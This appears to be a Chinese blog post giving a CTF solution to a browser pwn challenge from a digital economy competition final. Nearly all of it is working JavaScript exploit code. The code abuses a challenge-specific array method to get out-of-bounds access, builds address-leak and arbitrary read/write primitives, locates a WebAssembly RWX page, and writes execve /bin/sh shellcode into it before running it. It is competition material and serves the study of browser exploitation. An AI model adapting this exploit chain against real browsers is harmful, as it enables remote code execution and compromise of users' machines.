数字经济大赛决赛-Browser

最新推荐文章于 2026-08-22 22:10:06 发布

原创最新推荐文章于 2026-08-22 22:10:06 发布 · 500 阅读

4 ·

本内容遵循CC 4.0 BY-SA版权协议

GEO检测

收录于

PWN

集训日记

本文介绍了在JavaScript中使用ArrayBuffer、视图转换函数操作内存，并展示了通过WebAssembly实例执行代码以实现内存泄漏和shellcode注入的攻击过程。

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}
var length=123123;
var value=
{
    valueOf:function()
    {
        float_array.length=100;
        return 123123123123;
    }
}
var float_array=[];
float_array.length=34;
victim=new Array(12);
victim[0]=1.1;
float_array.coin(length,value);
var pos_array=new Array(0x12345678,0);
var pos_idx=victim.indexOf(i2f(0x1234567800000000n))+1;
function addressof(object)
{
    pos_array[1]=object;
    return f2i(victim[pos_idx]);
}
var target = [1.1];
var target_address=addressof(target);
console.log("[*] target address : 0x"+hex(target_address));

var rwarray=new ArrayBuffer(200);
var backstore_ptr_idx = victim.indexOf(i2f(200n)) + 1;
function read64(address)
{
    victim[backstore_ptr_idx]=i2f(address);
    var dt=new DataView(rwarray);
    return f2i(dt.getFloat64(0,true));
}
function write64(address,value)
{
    victim[backstore_ptr_idx]=i2f(address);
    var dt=new DataView(rwarray);
    dt.setBigUint64(0,value,true);
}
function write64_2(address,value)
{
    victim[backstore_ptr_idx]=i2f(address);
    var dt=new DataView(rwarray);
    dt.setBigUint64(0,value,true);
}
function write64_3(address,value)
{
    victim[backstore_ptr_idx]=i2f(address);
    var dt=new DataView(rwarray);
    dt.setBigUint64(0,value,true);
}
function write64_4(address,value)
{
    victim[backstore_ptr_idx]=i2f(address);
    var dt=new DataView(rwarray);
    dt.setBigUint64(0,value,true);
}
function get_wasm_fun()
{
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    var instance_addr=addressof(wasmInstance);
    var rwx_page_addr=read64(instance_addr-1n+0x88n);
    return [wasmInstance.exports.main,rwx_page_addr];
}
var result= get_wasm_fun();
var f=result[0];
var rwx_page=result[1]
console.log("[*] leak rwx_page: 0x" + hex(rwx_page));

//shellcode = [0x10101010101b848n,0x62792eb848500101n,0x431480101626d60n,0x2f7273752fb84824n,0x31e78948506e6962n,0x50f583b6af631d2n];
shellcode = [
    0x91969dd1bb48c031n,
    0x53dbf748ff978cd0n,
    0xb05e545752995f54n,
    0x50f3bn
];
write64(rwx_page,shellcode[0]);
write64_2(rwx_page+8n*1n,shellcode[1]);
write64_3(rwx_page+8n*2n,shellcode[2]);
write64_4(rwx_page+8n*3n,shellcode[3]);
console.log("hijack wasm rwxpage successfully");
f();